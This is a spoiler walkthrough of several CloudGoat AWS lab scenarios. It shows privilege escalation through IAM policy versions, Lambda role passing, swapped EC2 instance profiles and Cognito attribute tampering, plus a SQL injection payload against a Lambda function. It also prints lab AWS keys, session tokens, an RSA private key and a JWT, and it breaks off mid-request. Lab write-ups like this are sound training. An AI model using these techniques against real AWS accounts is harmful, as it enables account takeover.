Warning Spoilers!
This is a write up the current CloudGoat scenarios.
https://github.com/RhinoSecurityLabs/cloudgoat
Setup
git clone https://github.com/RhinoSecurityLabs/cloudgoat.git
cd cloudgoat
pip3 install -r ./requirements.txt
chmod +x cloudgoat.py
If you run into an issue when installing the requirements you may have to install a newer version of PyYAML.
If your using custom aws profiles use the following command.
./cloudgoat.py config profile
Scenarios
Easy
IAM Privesc by Key Rotation
I created this scenario, a full walk through can be found here on the website
Vulnerable Lambda
https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/vulnerable_lambda/README.md
Launch the scenario with the following python command
./cloudgoat.py create vulnerable_lambda
Once its deployed export the credentials to a new shell
export AWS_ACCESS_KEY_ID='AKIAZ6IIT5XUU6BMN7VT'
export AWS_SECRET_ACCESS_KEY='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'
Lets see what permissions we have, but first we need to know what username is.
aws sts get-caller-identity
# {
# "UserId": "AIDAZ6IIT5XUR7RDW7BCR",
# "Account": "0123456789",
# "Arn": "arn:aws:iam::0123456789:user/cg-bilbo-vulnerable_lambda_cgidiun2nbhv12"
# }
aws iam list-user-policies --user-name cg-bilbo-vulnerable_lambda_cgidiun2nbhv12
# {
# "PolicyNames": [
# "cg-bilbo-vulnerable_lambda_cgidiun2nbhv12-standard-user-assumer"
# ]
# }
aws iam get-user-policy --user-name cg-bilbo-vulnerable_lambda_cgidiun2nbhv12 --policy-name cg-bilbo-vulnerable_lambda_cgidiun2nbhv12-standard-user-assumer
Viewing the IAM policy we can view iam permissions and assume a role.
{
"UserName": "cg-bilbo-vulnerable_lambda_cgidiun2nbhv12",
"PolicyName": "cg-bilbo-vulnerable_lambda_cgidiun2nbhv12-standard-user-assumer",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Action": "sts:AssumeRole",
"Effect": "Allow",
"Resource": "arn:aws:iam::0123456789:role/cg-lambda-invoker*",
"Sid": ""
},
{
"Action": [
"iam:Get*",
"iam:List*",
"iam:SimulateCustomPolicy",
"iam:SimulatePrincipalPolicy"
],
"Effect": "Allow",
"Resource": "*",
"Sid": ""
}
]
}
}
Lets find and assume that role
aws iam list-roles --output=json | jq '.Roles[] | {role: .Arn, user: .AssumeRolePolicyDocument.Statement[].Principal.AWS} | select(.user != null)'
# {
# "role": "arn:aws:iam::0123456789:role/cg-lambda-invoker-vulnerable_lambda_cgidiun2nbhv12",
# "user": "arn:aws:iam::0123456789:user/cg-bilbo-vulnerable_lambda_cgidiun2nbhv12"
# }
aws sts assume-role --role-arn arn:aws:iam::0123456789:role/cg-lambda-invoker-vulnerable_lambda_cgidiun2nbhv12 --role-session-name lambda-role
# {
# "Credentials": {
# "AccessKeyId": "ASIAZ6IIT5XUUNTCMTU5",
# "SecretAccessKey": "gzK6x7WNuJukxcN8Z5uV/h0sZHyZTrNxABjkrNUy",
# "SessionToken": "IQoJb3JpZ2luX2VjEJr//////////wEaCXVzLWVhc3QtMSJHMEUCIQDlvrMcsANTHOcUOVcxG7JseAI0E9fOqyWsPLivdK53jwIgD/DAPXum+DozhvRMhPUA9IO2UpbexJooNkq/91bO148qkwIIYxACGgw2ODM0NTQ3NTQyODEiDBEuPQqPZHeaZSDxwirwAZQXc3NjUTvxWa73I/lkTlcQmHhju1E139y/pP69zxIsvxN8d9CHDR7TgPqj48OmTpimvXT7rGP9hO+84MZrqq/bG3nVi7qlZkpN3ruk4PruLq3xi3YbOLhky9DBvn2ZO9SoTFvoThWk+mse7ApxFx2UIsXwdHMoPQ6K4apMv7tRqAKKaEF+lMqajm3SerFpTYyUOgI8l08nhPuzvpuU8kdQZehmivDhE+D7CA6EvXRjXofB7Q0AXepxPXrEFURVmXhWfmNul+IhYuTNSNpDgoPC47hh8WFEhZtF6SpXNVfCcoxZbIVCX4L6CPwFBGkY+jCL+qinBjqdAeYS7ndbhhjr9Y6jRpzBjkH6jiyqOw68lcjarasHxF7gOF/Grc2tFyDR0EED8jpXO9JCnPWZ7mbk/DQMMCOymfZEuIj0Ipqd4aOV/Y5pBECtlVCWnOzjnDHc7OPXamRpBKpk6dyTisUA7CQgAmmZa6KuEwUcvukMwdwHsHlK6MAbqQiIjiXOTUEgP2OVnX3E4hS4DwBFuEwUg2qp49Q=",
# "Expiration": "2023-08-26T18:57:31+00:00"
# },
# "AssumedRoleUser": {
# "AssumedRoleId": "AROAZ6IIT5XUT7QGRZ3Z6:lambda",
# "Arn": "arn:aws:sts::0123456789:assumed-role/cg-lambda-invoker-vulnerable_lambda_cgidiun2nbhv12/lambda"
# }
# }
In a new shell export the credentials
export AWS_ACCESS_KEY_ID=ASIAZ6IIT5XU2PSFJ6FW
export AWS_SECRET_ACCESS_KEY=rT59jQ86bZE293M6/aysT6KlUa1yfnWYDG/UwkTk
export AWS_SESSION_TOKEN=FwoGZXIvYXdzEKz//////////wEaDJtJ4tPnm5LWJq7xUyK2AXkvvrWFo+fyRLMhfxmduYcOpcPBqcP8vwiFttJ7GnBoY6PIs811KLBkdieB9i3ooEB9ZqbfEir8uyk4z7l4L2g7AoKpKFBQRnbVHL0U/bVCSF2iJJQP4FKHsDJI14O5NsWr+R+RDtp8t9IATiQ2HR/rxmBtY9wOXJ1QWMvxbcmYq+AjDVzPLosOuEcRnRxkSANieEjlkmkQHWg5rp8yj58TiJWAnvQGv4+GAf3M7EYeTqYkb+7PKLmAqacGMi0I35zH3EkowQV1+6XCIKJSrRVVLn3zIE2SGQf474AjQhcxzMW8ECodmVrCmH8=
Again we can look at what permissions we have access to
{
"Version": "2012-10-17",
"Statement": [
{
"Action": [
"lambda:ListFunctionEventInvokeConfigs",
"lambda:InvokeFunction",
"lambda:ListTags",
"lambda:GetFunction",
"lambda:GetPolicy"
],
"Effect": "Allow",
"Resource": [
"arn:aws:lambda:us-east-1:0123456789:function:vulnerable_lambda_cgidiun2nbhv12-policy_applier_lambda1",
"arn:aws:lambda:us-east-1:0123456789:function:vulnerable_lambda_cgidiun2nbhv12-policy_applier_lambda1"
]
},
{
"Action": [
"lambda:ListFunctions",
"iam:Get*",
"iam:List*",
"iam:SimulateCustomPolicy",
"iam:SimulatePrincipalPolicy"
],
"Effect": "Allow",
"Resource": "*"
}
]
}
Lets find what the lambda function does.
aws lambda list-functions
aws lambda get-function --function-name vulnerable_lambda_cgidiun2nbhv12-policy_applier_lambda1
# Investigate the source code
aws lambda get-function --function-name vulnerable_lambda_cgidiun2nbhv12-policy_applier_lambda1 --query 'Code.Location'
The function tags two inputs a list policy_names and a string user_name.
aws lambda invoke --function-name vulnerable_lambda_cgidiun2nbhv12-policy_applier_lambda1 --payload '{"policy_names": ["AdministratorAccess"], "user_name": "cg-bilbo-vulnerable_lambda_cgidiun2nbhv12"}' --cli-binary-format raw-in-base64-out output.txt
cat output.txt
# "AdministratorAccess is not an approved policy, please only choose from approved policies and don't cheat. :) "
Looking into the code more we see the following line.
statement = f"select policy_name from policies where policy_name='{policy}' and public='True'"
AdministratorAccess is not allowed because public = false and the other roles we could try to assume are all read only.
Luckily the function does not validate or sanitize the inputs, we can perform SQL injection.
Buy adding '--
to the end of the policy name AdministratorAccess it end the query by making the following lines comments.
It will evaluate like the following
statement = f"select policy_name from policies where policy_name='{policy}'
Lets try it again
aws lambda invoke --function-name vulnerable_lambda_cgidiun2nbhv12-policy_applier_lambda1 --payload '{"policy_names": ["AdministratorAccess'\''--"], "user_name": "cg-bilbo-vulnerable_lambda_cgidiun2nbhv12"}' --cli-binary-format raw-in-base64-out output.txt
# We have to use `'\'' to escape the quote in bash`
cat output.txt
# "All managed policies were applied as expected.
Success! Back in the user shell (now admin) we can retrieve the flag
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id vulnerable_lambda_cgidiun2nbhv12-final_flag
# "SecretString": "cg-secret-012345-012345"
./cloudgoat.py destroy vulnerable_lambda
IAM Privesc by Rollback
Spin up and get basic information with the following commands
./cloudgoat.py create iam_privesc_by_rollback
export AWS_ACCESS_KEY_ID='AKIAZ6IIT5XUT6LV56FV'
export AWS_SECRET_ACCESS_KEY='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'
aws sts get-caller-identity
# {
# "UserId": "AIDAZ6IIT5XUSLMAHA6CJ",
# "Account": "0123456789",
# "Arn": "arn:aws:iam::0123456789:user/raynor-iam_privesc_by_rollback_cgidvry1h42vnr"
# }
We know this scenario has to deal with policies. Lets see whats attached to our iam user.
aws iam list-attached-user-policies --user-name raynor-iam_privesc_by_rollback_cgidvry1h42vnr
{
"AttachedPolicies": [
{
"PolicyName": "cg-raynor-policy-iam_privesc_by_rollback_cgidvry1h42vnr",
"PolicyArn": "arn:aws:iam::0123456789:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidvry1h42vnr"
}
]
}
Lets investigate the role
aws iam list-policy-versions --policy-arn arn:aws:iam::0123456789:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidvry1h42vnr
{
"Versions": [
{
"VersionId": "v5",
"IsDefaultVersion": false,
"CreateDate": "2023-08-27T18:29:44+00:00"
},
{
"VersionId": "v4",
"IsDefaultVersion": false,
"CreateDate": "2023-08-27T18:29:44+00:00"
},
{
"VersionId": "v3",
"IsDefaultVersion": false,
"CreateDate": "2023-08-27T18:29:44+00:00"
},
{
"VersionId": "v2",
"IsDefaultVersion": false,
"CreateDate": "2023-08-27T18:29:44+00:00"
},
{
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2023-08-27T18:29:43+00:00"
}
]
}
Lets find out what permission each version has
aws iam get-policy-version --policy-arn arn:aws:iam::0123456789:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidvry1h42vnr --version-id v1
In addition to iam:Get*
& iam:List*
we also have the ability to set policy versions with iam:SetDefaultPolicyVersion
.
Looking through the other version.
- v2 allows only the ability to get iam resources
- v3 read s3 objects
- v4 denys everything
- v5 😮 every permission!
Lets switch to that version
aws iam set-default-policy-version --policy-arn arn:aws:iam::0123456789:policy/cg-raynor-policy-iam_privesc_by_rollback_cgidvry1h42vnr --version-id v5
Were now an AWS admin!
./cloudgoat.py destroy iam_privesc_by_rollback
Lambda Privesc
https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/lambda_privesc/README.md
./cloudgoat.py create lambda_privesc
export AWS_ACCESS_KEY_ID='AKIAZ6IIT5XUSOYMQUHH'
export AWS_SECRET_ACCESS_KEY='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'
aws sts get-caller-identity
# {
# "UserId": "AIDAZ6IIT5XU64FZKGJYA",
# "Account": "0123456789",
# "Arn": "arn:aws:iam::0123456789:user/chris-lambda_privesc_cgidt53zn9cqo5"
# }
aws iam list-attached-user-policies --user-name chris-lambda_privesc_cgidt53zn9cqo5
# {
# "AttachedPolicies": [
# {
# "PolicyName": "cg-chris-policy-lambda_privesc_cgidt53zn9cqo5",
# "PolicyArn": "arn:aws:iam::0123456789:policy/cg-chris-policy-lambda_privesc_cgidt53zn9cqo5"
# }
# ]
# }
aws iam list-user-policies --user-name chris-lambda_privesc_cgidt53zn9cqo5
# None
Investigating the policy. We can assume another role
aws iam get-policy-version --policy-arn arn:aws:iam::0123456789:policy/cg-chris-policy-lambda_privesc_cgidt53zn9cqo5 --version-id v1
# {
# "PolicyVersion": {
# "Document": {
# "Statement": [
# {
# "Action": [
# "sts:AssumeRole",
# "iam:List*",
# "iam:Get*"
# ],
# "Effect": "Allow",
# "Resource": "*",
# "Sid": "chris"
# }
# ],
# "Version": "2012-10-17"
# },
# "VersionId": "v1",
# "IsDefaultVersion": true,
# "CreateDate": "2023-08-27T22:45:31+00:00"
# }
# }
Lets look for roles that we can assume
aws iam list-roles
# Name: cg-lambdaManager-role-lambda_privesc_cgidt53zn9cqo5
# Arn: arn:aws:iam::0123456789:role/cg-lambdaManager-role-lambda_privesc_cgidt53zn9cqo5
This roles also look important for this scenario
cg-debug-role-lambda_privesc_cgidt53zn9cqo5
Before we assume the role lets see what permissions the role has
aws iam list-attached-role-policies --role-name cg-lambdaManager-role-lambda_privesc_cgidt53zn9cqo5
# {
# "AttachedPolicies": [
# {
# "PolicyName": "cg-lambdaManager-policy-lambda_privesc_cgidt53zn9cqo5",
# "PolicyArn": "arn:aws:iam::0123456789:policy/cg-lambdaManager-policy-lambda_privesc_cgidt53zn9cqo5"
# }
# ]
# }
aws iam get-policy-version --policy-arn arn:aws:iam::0123456789:policy/cg-lambdaManager-policy-lambda_privesc_cgidt53zn9cqo5 --version-id v1
# {
# "PolicyVersion": {
# "Document": {
# "Statement": [
# {
# "Action": [
# "lambda:*",
# "iam:PassRole"
# ],
# "Effect": "Allow",
# "Resource": "*",
# "Sid": "lambdaManager"
# }
# ],
# "Version": "2012-10-17"
# },
# "VersionId": "v1",
# "IsDefaultVersion": true,
# "CreateDate": "2023-08-27T22:45:31+00:00"
# }
# }
The role grants us full lambda access and the ability to assign roles to functions
Now we can assume the role
aws sts assume-role --role-arn arn:aws:iam::0123456789:role/cg-lambdaManager-role-lambda_privesc_cgidt53zn9cqo5 --role-session-name lambda-role
# {
# "Credentials": {
# "AccessKeyId": "ASIAZ6IIT5XURGGLUDP6",
# "SecretAccessKey": "XoveF6JVBzdiP4wWa9GOYxZjiDiMRe78o55Yaabc",
# "SessionToken": "IQoJb3JpZ2luX2VjELf//////////wEaCXVzLXdlc3QtMiJHMEUCIQCVqp3sm7zmCL8wtZFSUcBKj09snvKCtTnDXCDHQOgbkAIgFl/GF/CAVMOebffcjaXaUnZj2sJJDeGkB8AwgAT9VpoqoQIIgP//////////ARACGgw2ODM0NTQ3NTQyODEiDGgnxRfyWjZksN9AqCr1AQ3sRAotvMApq/smo/FChPQdTD1EDOnzfP5sLcy1+vvfvj7JfliEM71nwtwK0kvacjVkhYX2Q8/gALnV4PYkns5HIEmWt0mghqJduI+SfGlAjlxqyNhpki8mARF+Wa6FNAsJz5A3XLt0nkMb/D8fB4lvKTRAo93liB0T1KxR+TmTfG/Y5uXwl3sjzPFGbb3Abk2Lz8M1cyMyTC8UPyLGzi6Vj8NVoQPMLoFDsUMpU2zWhbTuoJcoO0NiACemp5VLzWjWuKqiPe+ucVeZZTo5su9nWrn1uR/YX97OpWWOuY9SHlZb1uqc6N6eoQaPqiaZ5D9MDqprMJeor6cGOp0BJ6XXw5gEzA7S6g3IteAB7b+Ep9vEnyAEGVh1wi+rAtteaSntvJGe6SzzZhs3al5iQU5W0GAG5xIHrY7oyrlUjoOvgb4b3bVPU06ZB2A+3upR7JpZQDEiy+TF0nI+fEwFhCAodZqpBBH50q0CeqW3pTsrWU8xWOVv+aGix+Ab+6JoJG9hdNsPckoCFg8DskLeUUcMm6qAxuCtybq7Bg==",
# "Expiration": "2023-08-27T23:54:15+00:00"
# },
# "AssumedRoleUser": {
# "AssumedRoleId": "AROAZ6IIT5XUSMP4WAOBY:lambda-role",
# "Arn": "arn:aws:sts::0123456789:assumed-role/cg-lambdaManager-role-lambda_privesc_cgidt53zn9cqo5/lambda-role"
# }
# }
In a new shell export the credentials
export AWS_ACCESS_KEY_ID=ASIAZ6IIT5XURGGLUDP6
export AWS_SECRET_ACCESS_KEY=XoveF6JVBzdiP4wWa9GOYxZjiDiMRe78o55Yaabc
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjELf//////////wEaCXVzLXdlc3QtMiJHMEUCIQCVqp3sm7zmCL8wtZFSUcBKj09snvKCtTnDXCDHQOgbkAIgFl/GF/CAVMOebffcjaXaUnZj2sJJDeGkB8AwgAT9VpoqoQIIgP//////////ARACGgw2ODM0NTQ3NTQyODEiDGgnxRfyWjZksN9AqCr1AQ3sRAotvMApq/smo/FChPQdTD1EDOnzfP5sLcy1+vvfvj7JfliEM71nwtwK0kvacjVkhYX2Q8/gALnV4PYkns5HIEmWt0mghqJduI+SfGlAjlxqyNhpki8mARF+Wa6FNAsJz5A3XLt0nkMb/D8fB4lvKTRAo93liB0T1KxR+TmTfG/Y5uXwl3sjzPFGbb3Abk2Lz8M1cyMyTC8UPyLGzi6Vj8NVoQPMLoFDsUMpU2zWhbTuoJcoO0NiACemp5VLzWjWuKqiPe+ucVeZZTo5su9nWrn1uR/YX97OpWWOuY9SHlZb1uqc6N6eoQaPqiaZ5D9MDqprMJeor6cGOp0BJ6XXw5gEzA7S6g3IteAB7b+Ep9vEnyAEGVh1wi+rAtteaSntvJGe6SzzZhs3al5iQU5W0GAG5xIHrY7oyrlUjoOvgb4b3bVPU06ZB2A+3upR7JpZQDEiy+TF0nI+fEwFhCAodZqpBBH50q0CeqW3pTsrWU8xWOVv+aGix+Ab+6JoJG9hdNsPckoCFg8DskLeUUcMm6qAxuCtybq7Bg==
Lets create a lambda function to grant us admin permission
First we need the code were going to upload. Put the following python code in a file called index.py
.
import boto3
def handler(event, lambda_context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='chris-lambda_privesc_cgidt53zn9cqo5',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
zip -r index.zip index.py
aws lambda create-function \
--function-name lambda-privesc \
--runtime python3.11 \
--zip-file fileb://index.zip \
--handler index.handler \
--role arn:aws:iam::0123456789:role/cg-debug-role-lambda_privesc_cgidt53zn9cqo5
Now lets trigger the function and give our user admin permissions
aws lambda invoke --function-name lambda-privesc output.txt
cat output.txt
# Should be empty
Cleanup
rm index.py index.zip output.txt
aws lambda delete-function --function-name lambda-privesc
aws iam detach-user-policy --user-name chris-lambda_privesc_cgidt53zn9cqo5 --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
./cloudgoat.py destroy lambda_privesc
Moderate
IAM Privesc by Attachment
The goal in this scenario is to delete a EC2 server.
./cloudgoat.py create iam_privesc_by_attachment
export AWS_ACCESS_KEY_ID='AKIAZ6IIT5XU7QV63L4R'
export AWS_SECRET_ACCESS_KEY='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'
aws sts get-caller-identity
# {
# "UserId": "AIDAZ6IIT5XU47LSA77L2",
# "Account": "0123456789",
# "Arn": "arn:aws:iam::0123456789:user/kerrigan"
# }
aws iam list-attached-user-policies --user-name kerrigan
aws iam list-user-policies --user-name kerrigan
No permissions for both, knowing that this scenario deals with EC2 lets try to describe the servers.
aws ec2 describe-instances
# {......}
From the json object returned take note of the following:
- Instance id (
i-00cf3889bc74aed87
) this is the server we have to terminate - Subnet id
subnet-0cc9a41f94e9da27a
- Security groups
sg-0422383bac48d44db
&sg-0b9ea556c1458fc49
aws ec2 terminate-instances --instance-ids i-00cf3889bc74aed87
Trying to terminate the instance results in an error
Lets create a new ssh key pair.
aws ec2 create-key-pair --key-name iam_privesc_by_attachment
# {
# "KeyFingerprint": "24:40:85:1c:44:3b:f0:2e:80:c8:01:17:a3:1d:f1:bd:2c:63:34:f6",
# "KeyMaterial": "-----BEGIN RSA PRIVATE KEY-----\nMIIEpQIBAAKCAQEArVpONCageQc9SGzS8Gnf0AueHG3XLSeYNfd3E0IBhvgqqA+c\nWjOK/mPJYIhTzz1Hyp+8zHfFZUENcGN6ojDRKl2vdGN2XDk2PVQhbk+81k7D/8Ix\nn6XwdHopMpObxSFw87NcEQlUx7sR7MEfe1LFqeco4JXCqd09N8ggvLMgxsXf4T18\n+u1No/1/bTC0bsTyD3VGaeGBmr2t0quFb0IT9R9YEc0pAPcRPrZvIMnSF1XPMG+2\nF6kdPuq4Sj1YD7J/rS4M2TF5aY1tyIyKNNdxuGLjLNxVCIopZzBdscUu2n9e0jRe\nWWioBa5HWXO2xCSUJzpszLP/dmMCrpkOns/6cQIDAQABAoIBAEsPdBc+tnNRQCbR\nABEbNs7liOO0Z9xkbZLIgSW0iebAI/A7Oi8QbFm0KWkD/o4YcbJ5sg0yuyUZotEM\nMfhyfM8EW8lgm8pY93RcrlEOc6yz1Eg09Lm050X380i0A1m7HiZXfkDeMnh9Nsi1\n4oTKlU35CokcL3rPkgdKP2qVgVavdYlJU7+14OCcXhMXtT4x5iyjtn1wlLYFa8RE\nBI5Fm8Me0If58Xb7mta0xy6O/mlMDZadUW9XauNP+9Vx//bB3JYobHnQLrPcow7E\n8EcrNJm/ymS53Ns1d8zmNgDB/XIsRDY6nTAtWAwBXorGcJeEzqU3Gy1WmTfqzJ+x\n+dMuV1UCgYEA7RJQA0f6iQeUUeqO3kB+twjvUdtXZnc0j+twucV4DysqPkksp9Kb\nTk2t013QFlTo1BKue+RW3DHruSGLnbKrky6OsnvBb3JSZqdhZJqGjSENxdRHUX7Z\nGLnCAN3dfS3EH33ydwM9ci35/15x4qAQ7D/iYEcJUdAP8HPGOKx4iHMCgYEAuzGY\nh5d0WJD/IAmFn6ylCsPkbRcYevDHszpmWjnE4E8QFjstIpVdMo92M4jScg+lBdh9\nSWwxiA0yGgC0NIYzxmpHdfyBgjrAq+R/7fLpI9csX2xM78oVWxnChiev0E9V6BjK\nPXvWWmTk7bhdxXj25zmBBUGDGwCZ9Ne322mFjIsCgYEAxUqUI+bm7NrN6E4Xj4aE\n7bYV1D2Bwtg5efwp17AqdhUqFqO28gMnFEc4/cn4vlzzVmolox0n3B//WBY+poJm\nnxoDzy2GkUTGpn9tYdfnWdPELnq2z2+NJDKS7T22cdKAgOTDv5+Gp1rzzj2+8Sbc\nbn/L2OvFKbzJRwZSVB/UP1kCgYEAqO+scQn9RQSuSjJttlmvpNR/LPh/7kuoXhah\nUmH6TFjt8rI7HI/hyQRxrzaWfbuiuXDUONP8q4UFJzRlbVWEGlfF4DQeiPIO+dJA\npfTn9KF2+TMbB/i/ZzULOdlNMNi4dbsRoYVGQNP3SpZtgg6V/L0HtD+YW2EikDWy\nRsCndtsCgYEAib/7CnSOBy8ZLKpoRq9BhG/hOHEIQtq8ZlL/h17O44VjYOhThNtQ\n4DJWXSypOXc6DmMuGJyuPveD0LzJ5stGLXYK9f7SZTtDz2i0f9NewSo4Ec++eLoP\n4Pv7G75b540YZTtZ1J/sG+gYssnXCvqwLNWl/IRJbCRNXO1aXyprdYg=\n-----END RSA PRIVATE KEY-----",
# "KeyName": "iam_privesc_by_attachment",
# "KeyPairId": "key-05cdfc35c1b0fe336"
# }
Save the key in a local file (key.pem
)
Lets create an EC2 instance to connect through
aws ec2 run-instances --image-id ami-053b0d53c279acc90 --instance-type t3.micro --count 1 --subnet-id subnet-0cc9a41f94e9da27a --key-name iam_privesc_by_attachment --security-group-ids sg-0422383bac48d44db sg-0b9ea556c1458fc49 --associate-public-ip-address
Keep track of the instances Id i-0de965ab2cf9c2ed2
Lets attach an IAM instance profile & role with permissions to the instance we just spun up.
aws iam list-roles
# cg-ec2-meek-role-iam_privesc_by_attachment_cgidffnrqb5fm9
# cg-ec2-mighty-role-iam_privesc_by_attachment_cgidffnrqb5fm9
aws iam list-instance-profiles
# "InstanceProfileName": "cg-ec2-meek-instance-profile-iam_privesc_by_attachment_cgidffnrqb5fm9"
# "Arn": "arn:aws:iam::0123456789:instance-profile/cg-ec2-meek-instance-profile-iam_privesc_by_attachment_cgidffnrqb5fm9"
# "RoleName": "cg-ec2-meek-role-iam_privesc_by_attachment_cgidffnrqb5fm9"
Lets switch the meek with the mighty role on the instance profile
aws iam remove-role-from-instance-profile --instance-profile-name cg-ec2-meek-instance-profile-iam_privesc_by_attachment_cgidffnrqb5fm9 --role-name cg-ec2-meek-role-iam_privesc_by_attachment_cgidffnrqb5fm9
aws iam add-role-to-instance-profile --instance-profile-name cg-ec2-meek-instance-profile-iam_privesc_by_attachment_cgidffnrqb5fm9 --role-name cg-ec2-mighty-role-iam_privesc_by_attachment_cgidffnrqb5fm9
Lets attach to instance profile to the EC2 instance
aws ec2 associate-iam-instance-profile --instance-id i-0de965ab2cf9c2ed2 --iam-instance-profile '{"Arn": "arn:aws:iam::0123456789:instance-profile/cg-ec2-meek-instance-profile-iam_privesc_by_attachment_cgidffnrqb5fm9", "Name": "cg-ec2-meek-instance-profile-iam_privesc_by_attachment_cgidffnrqb5fm9"}'
Lets now SSH in the server with the public IP address we can get with the following command
aws ec2 describe-instances --instance-ids i-0de965ab2cf9c2ed2 | jq '.Reservations[0].Instances[0].PublicIpAddress'
# 1.912.222.192
Now lets go in with SSH
chmod 400 key.pem
ssh [email protected] -i key.pem
# [email protected]$
sudo apt update
sudo apt install awscli -y
aws sts get-caller-identity
# {
# "UserId": "AROAZ6IIT5XU67HSGNLGC:i-0de965ab2cf9c2ed2",
# "Account": "0123456789",
# "Arn": "arn:aws:sts::0123456789:assumed-role/cg-ec2-mighty-role-iam_privesc_by_attachment_cgidffnrqb5fm9/i-0de965ab2cf9c2ed2"
# }
aws ec2 terminate-instances --instance-ids i-00cf3889bc74aed87 --region us-east-1
Cleanup
From the server we launched terminate itself
aws ec2 terminate-instances --instance-ids i-0de965ab2cf9c2ed2 --region us-east-1
rm key.pem
aws ec2 delete-key-pair --key-name iam_privesc_by_attachment
./cloudgoat.py destroy iam_privesc_by_attachment
Vulnerable Cognito
https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/vulnerable_cognito/README.md
./cloudgoat.py create vulnerable_cognito
# apigateway_url = https://fx3txcvzul.execute-api.us-east-1.amazonaws.com/vulncognito/cognitoctf-vulnerablecognitocgidx7zfdn5bx2/index.html
In this scenario there are two attacks that can be performed.
- The first is creation of cognito user
- Getting cognito credentials from the identity pool
View the api gateway websites source code. The following information can be found in a script
UserPoolId: 'us-east-1_0NyB14dfp'
ClientId: '18ov266rjnjtvdd4l2lc4rj84'
With them we can create a new user bypassing the signup form on the website
aws cognito-idp sign-up --client-id 18ov266rjnjtvdd4l2lc4rj84 --username [email protected] --password Qwerty123! --user-attributes '[{"Name":"given_name","Value":"foo"},{"Name":"family_name","Value":"ipsum"}]'
# Verify the account
aws cognito-idp confirm-sign-up --client-id 18ov266rjnjtvdd4l2lc4rj84 --username [email protected] --confirmation-code 823892
Authenticating with our new user we can view what attributes we have. custom:access = reader
aws cognito-idp initiate-auth --auth-flow USER_PASSWORD_AUTH --client-id 18ov266rjnjtvdd4l2lc4rj84 --auth-parameters USERNAME=[email protected],PASSWORD=Qwerty123!
export COGNITO_TOKEN='eyJraWQiOiJtTnh1SU13a3J4S0t6c0U3dHEyRXJnNkpQbU9ualFpR1RNQUZZMmJKQjRNPSIsImFsZyI6IlJTMjU2In0.eyJzdWIiOiI4ZDEwZjM0NC02NDc4LTRiMTItYmVjMS02OGM2ZDY0MjI1MTgiLCJpc3MiOiJodHRwczpcL1wvY29nbml0by1pZHAudXMtZWFzdC0xLmFtYXpvbmF3cy5jb21cL3VzLWVhc3QtMV8wTnlCMTRkZnAiLCJjbGllbnRfaWQiOiIxOG92MjY2cmpuanR2ZGQ0bDJsYzRyajg0Iiwib3JpZ2luX2p0aSI6ImY2MDlkNjlkLTllMzEtNDE2Zi05ZmI0LTA2MjliODRmM2Q2ZSIsImV2ZW50X2lkIjoiZTRmN2M3NTYtZGFhMS00YzBlLThjNzctZjA2NmQ2NmU4MGRhIiwidG9rZW5fdXNlIjoiYWNjZXNzIiwic2NvcGUiOiJhd3MuY29nbml0by5zaWduaW4udXNlci5hZG1pbiIsImF1dGhfdGltZSI6MTY5MzIyNjM4MywiZXhwIjoxNjkzMjI5OTgyLCJpYXQiOjE2OTMyMjYzODMsImp0aSI6IjA5NjM5ZTNiLTcxNjgtNDVlZi04YTgwLTc3MTRjYjVlYmFlZiIsInVzZXJuYW1lIjoiOGQxMGYzNDQtNjQ3OC00YjEyLWJlYzEtNjhjNmQ2NDIyNTE4In0.np15mQgbOLV8lhvjSLc3HBfNl9quM1j9P3t4P3lyjiDeOSkv9DwYlc191nQzdBzJ34CigP-39IAm4c3wxAtCJe4Rl6o9K2X26wQ0fE5jRYbjMFeBT7ynYPxqisfWWzrVuZZfYNKXEs3wKreebTL-4RYfA6ADER1RttJpHaY4SUpg78cwQnpaLvg7nH1CvRqlrmCiCfHr5YdOagfeUYARF3pC7qYMmpb-Do9BnavkfUV2tQ-sZ7obzSV4TrImkIlm3uu4p2dNODyhQdIk-t-yScpcxM4zIHnaQy0EF-b96fQsShWrUUV0Ks5lYVpbQV9W52DJ9gC3R9s8egw9-r6x2g'
aws cognito-idp get-user --access-token $COGNITO_TOKEN
# {
# "Username": "8d10f344-6478-4b12-bec1-68c6d6422518",
# "UserAttributes": [
# {
# "Name": "custom:access",
# "Value": "reader"
# },
# {
# "Name": "sub",
# "Value": "8d10f344-6478-4b12-bec1-68c6d6422518"
# },
# {
# "Name": "email_verified",
# "Value": "true"
# },
# {
# "Name": "given_name",
# "Value": "foo"
# },
# {
# "Name": "family_name",
# "Value": "ipsum"
# },
# {
# "Name": "email",
# "Value": "[email protected]"
# }
# ]
# }
Lets try to update the attribute on our user
aws cognito-idp update-user-attributes --access-token $COGNITO_TOKEN --user-attributes '[{"Name":"custom:access","Value":"admin"}]'
aws cognito-idp get-user --access-token $COGNITO_TOKEN
# Were now an admin
The second attack will be to steal credentials from the identity pool.
First we need to capture the identity pool and token. If we intercept the requests on the website, I’ll use the proxy Hetty but any proxy should work.
brew install --cask google-chrome
brew install hettysoft/tap/hetty
hetty --chrome
One of the packets contains the identity pool id & logins.
{
"IdentityPoolId": "us-east-1:eb5e41e7-f3bf-4ce4-acff-9f3668316db2",
"Logins": {
